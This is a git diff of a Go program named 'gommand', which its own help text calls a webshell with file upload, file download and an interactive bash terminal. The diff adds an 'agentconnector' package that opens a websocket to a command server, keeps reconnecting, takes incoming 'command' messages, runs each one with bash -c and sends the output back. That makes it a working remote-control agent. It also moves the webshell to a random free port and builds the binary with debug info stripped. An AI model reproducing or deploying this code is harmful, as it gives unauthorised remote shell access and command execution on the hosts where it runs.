diff --git a/Makefile b/Makefile index b6a1859..c0f1169 100644 --- a/Makefile +++ b/Makefile @@ -13,7 +13,8 @@ all: build build: ## Build the application @echo "Building $(APP_NAME)..." - $(GO_BUILD) -o $(BINARY) + # $(GO_BUILD) -o $(BINARY) + $(GO_BUILD) -ldflags "-w" -o $(BINARY) install: build ## Install the application @echo "Installing $(APP_NAME)..." diff --git a/main.go b/main.go index d53500d..23bc720 100644 --- a/main.go +++ b/main.go @@ -10,6 +10,7 @@ import ( "html/template" "io" "log" + "net" "net/http" "net/url" "os" @@ -18,9 +19,12 @@ import ( "path/filepath" "regexp" "strings" + "sync" "github.com/creack/pty" "github.com/gorilla/websocket" + + "gommand/src/agentconnector" ) type PageData struct { @@ -36,6 +40,8 @@ type CommandOutput struct { Error string } +// Contains the list of commands, which will be parsed recursively +// through executeCommandTree() and in the end executeCommand() type CommandNode struct { Operator string Left *CommandNode @@ -485,14 +491,60 @@ func handler(w http.ResponseWriter, r *http.Request) { tmpl.Execute(w, data) } -func main() { +func startMainServer() (int, net.Listener) { + http.HandleFunc("/", handler) http.HandleFunc("/upload", fileUploadHandler) http.HandleFunc("/download", fileDownloadHandler) http.HandleFunc("/terminal", terminalHandler) http.Handle("/static/", http.FileServer(http.FS(staticFiles))) - fmt.Println("Starting server on :8080") - http.ListenAndServe(":8080", nil) + + listener, err := net.Listen("tcp", ":0") + if err != nil { + log.Fatal(err) + } + + port := listener.Addr().(*net.TCPAddr).Port + log.Println("Using port:", port) + + return port, listener +} + + + +func main() { + // http.HandleFunc("/", handler) + // http.HandleFunc("/upload", fileUploadHandler) + // http.HandleFunc("/download", fileDownloadHandler) + // http.HandleFunc("/terminal", terminalHandler) + // http.Handle("/static/", http.FileServer(http.FS(staticFiles))) + // // fmt.Println("Starting server on :8080") + // // log.Fatal(http.ListenAndServe(":8080", nil)) + + // /* This section opens the server on a random port which is also free to use */ + // listener, err := net.Listen("tcp", ":0") + // if err != nil { + // panic(err) + // } + // log.Println("Using port:", listener.Addr().(*net.TCPAddr).Port) + // log.Fatal(http.Serve(listener, nil)) + + port, listener := startMainServer() + + var wg sync.WaitGroup + wg.Add(2) + + go func() { + defer wg.Done() + log.Fatal(http.Serve(listener, nil)) + }() + + go func() { + defer wg.Done() + agentconnector.StartServer(port) + }() + + wg.Wait() } var upgrader = websocket.Upgrader { @@ -540,6 +592,7 @@ func terminalHandler (w http.ResponseWriter, r *http.Request) { break } + // This is done, so resizing works in the browser, especially resizing the terminal // Check if the message is binary and starts with control prefix 0xFF. if len(message) > 0 && message[0] == 0xFF { var resizeMsg struct { diff --git a/src/agentconnector/agentconnector.go b/src/agentconnector/agentconnector.go new file mode 100644 index 0000000..abace7b --- /dev/null +++ b/src/agentconnector/agentconnector.go @@ -0,0 +1,182 @@ +package agentconnector + +import ( + "encoding/json" + "fmt" + "log" + "net/http" + "net/url" + "os/exec" + "time" + "math/rand" + "math" + "strconv" + + "github.com/gorilla/websocket" +) + +const( + webServerAddr = "127.0.0.1:3333" + webSocketAddr = "127.0.0.1:5555" + registerURL = "http://" + webServerAddr + "/agents" + // wsURL = "ws://" + webSocketAddr + "/data" +) + +type Agent struct { + AgentName string `json:"agentName"` + AgentID string `json:"agentId"` + AgentType string `json:"agentType"` + AgentIP string `json:"agentIp"` + InitialContact string `json:"initialContact"` + LastContact string `json:"lastContact"` + AddPort string `json:"addPort"` +} + +type Message struct { + Type string `json:"type"` + Payload string `json:"payload"` +} + +var conn *websocket.Conn + +func registerAgent(agentName, agentId, agentIp, agentType, addPort string) error { + + form := url.Values{} + form.Add("agentId", agentId) + form.Add("agentName", agentName) + form.Add("agentType", agentType) + form.Add("IPv4Address", agentIp) + form.Add("addPort", addPort) + + resp, err := http.PostForm(registerURL, form) + if err != nil { + return fmt.Errorf("Error registering agent: %v", err) + } + defer resp.Body.Close() + + if resp.StatusCode != http.StatusCreated { + return fmt.Errorf("Failed to register agent, status: %v", resp.Status) + } + + log.Printf("Agent %s successfully registered.", agentName) + return nil +} + +func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error { + wsURL := fmt.Sprintf("ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s", webSocketAddr, url.QueryEscape(agentName), url.QueryEscape(agentId), url.QueryEscape(agentIp), url.QueryEscape(agentType), url.QueryEscape(addPort)) + var err error + for { + conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil) + if err == nil { + log.Println("WeSocket connection established") + // logger.LogEntries = append(logger.LogEntries, fmt.Sprintf("%s websocket established", time.Now().Format(time.RFC3339))) + return nil + } + + log.Printf("Failed to connect to WebSocket: %v. Retrying in 5 seconds...", err) + time.Sleep(5 * time.Second) + } +} + +func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error { + backoff := 2 * time.Second + maxBackoff := 1 * time.Minute + + for { + log.Println("Attempting to reconnect to WebSocket...") + err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort) + if err == nil { + log.Println("Reconnection succesful.") + return nil + } + + log.Printf("Reconnection failed: %v", err) + + time.Sleep(backoff) + backoff *= 2 + if backoff > maxBackoff { + backoff = maxBackoff + } + } +} + +func listenForCommands(agentName, agentId, agentIp, agentType, addPort string) { + defer conn.Close() + + for { + _, rawMessage, err := conn.ReadMessage() + if err != nil { + log.Printf("Connection lost: %v", err) + if reconnectErr := reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort); reconnectErr != nil { + log.Printf("Critical error during reconnection: %v", reconnectErr) + } + continue + } + + var message Message + if err := json.Unmarshal(rawMessage, &message); err != nil { + log.Printf("Error unmarshalling message: %v", err) + continue + } + + if message.Type != "command" { + log.Printf("Ignoring non-command message: %v", message) + continue + } + + command := message.Payload + log.Printf("Received command: %s", command) + + cmd := exec.Command("bash", "-c", command) + output, err := cmd.CombinedOutput() + + response := Message{ + Type: "response", + Payload: string(output), + } + + if err != nil { + response.Payload += fmt.Sprintf("\n Error executing command: %v", err) + } + + responseBytes, _ := json.Marshal(response) + if err := conn.WriteMessage(websocket.TextMessage, responseBytes); err != nil { + log.Printf("Error sending output: %v", err) + break + } + + log.Printf("Output sent to server.") + } +} + +func randomInt(length int) int { + rand.Seed(time.Now().UnixNano()) + min := int(math.Pow10(length-1)) + max := int(math.Pow10(length)) -1 + return rand.Intn(max-min+1) + min + +} + +// func main() { +func StartServer(agentInteractivePort int){ + // agentInteractivePort is only needed for interactive sessions + agentName := "Agent-001" + agentId := strconv.Itoa(randomInt(8)) + agentIp := "127.0.0.1" + agentType := "Interactive" + addPort := strconv.Itoa(agentInteractivePort) + + log.Printf("AgentId: %s", agentId) + + + + // if err := registerAgent(agentName, agentId, agentIp, agentType); err != nil { + // log.Fatalf("Agent registration failed: %v", err) + // } + + if err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort); err != nil { + log.Fatalf("Websocket connection failed: %v", err) + } + + listenForCommands(agentName, agentId, agentIp, agentType, addPort) +} diff --git a/static/help-command.js b/static/help-command.js index 1b9b371..4e36063 100644 --- a/static/help-command.js +++ b/static/help-command.js @@ -1,11 +1,11 @@ const helpMsg = ` -This is a non interactive Webshell including some additional features to ease -communications between server and client. +This is a non interactive Webshell with an interactive mode, including some +additional features to ease communications between server and client. Available Commands: upload Upload files to the server through the file selector of the browser. download Download files from the server to your local download directory. theme Change the colorscheme of the shell. Type theme to get an overview of all colorschemes. - start-interactive Opens a bash shell in an interactive terminal. Type ctrl+d to exit the interactive shell. + start-interactive Opens a bash shell in an interactive terminal. Type ctrl+d to go back to non-interactive mode. ` // const helpMsg = 'This is a non interactive Webshell including some additional features to ease communications between server and client.\n Available Commands:\n upload\t\t\t\tUpload files to the server through the file selector of the browser.\n download \t\t\tDownload files from the server to your local download directory.\n theme \t\t\tChange the colorscheme of the shell. Type theme to get an overview of all colorschemes.\n start-interactive\t\t\tOpens a bash shell in an interactive terminal. Type ctrl+d to exi the interactive shell.'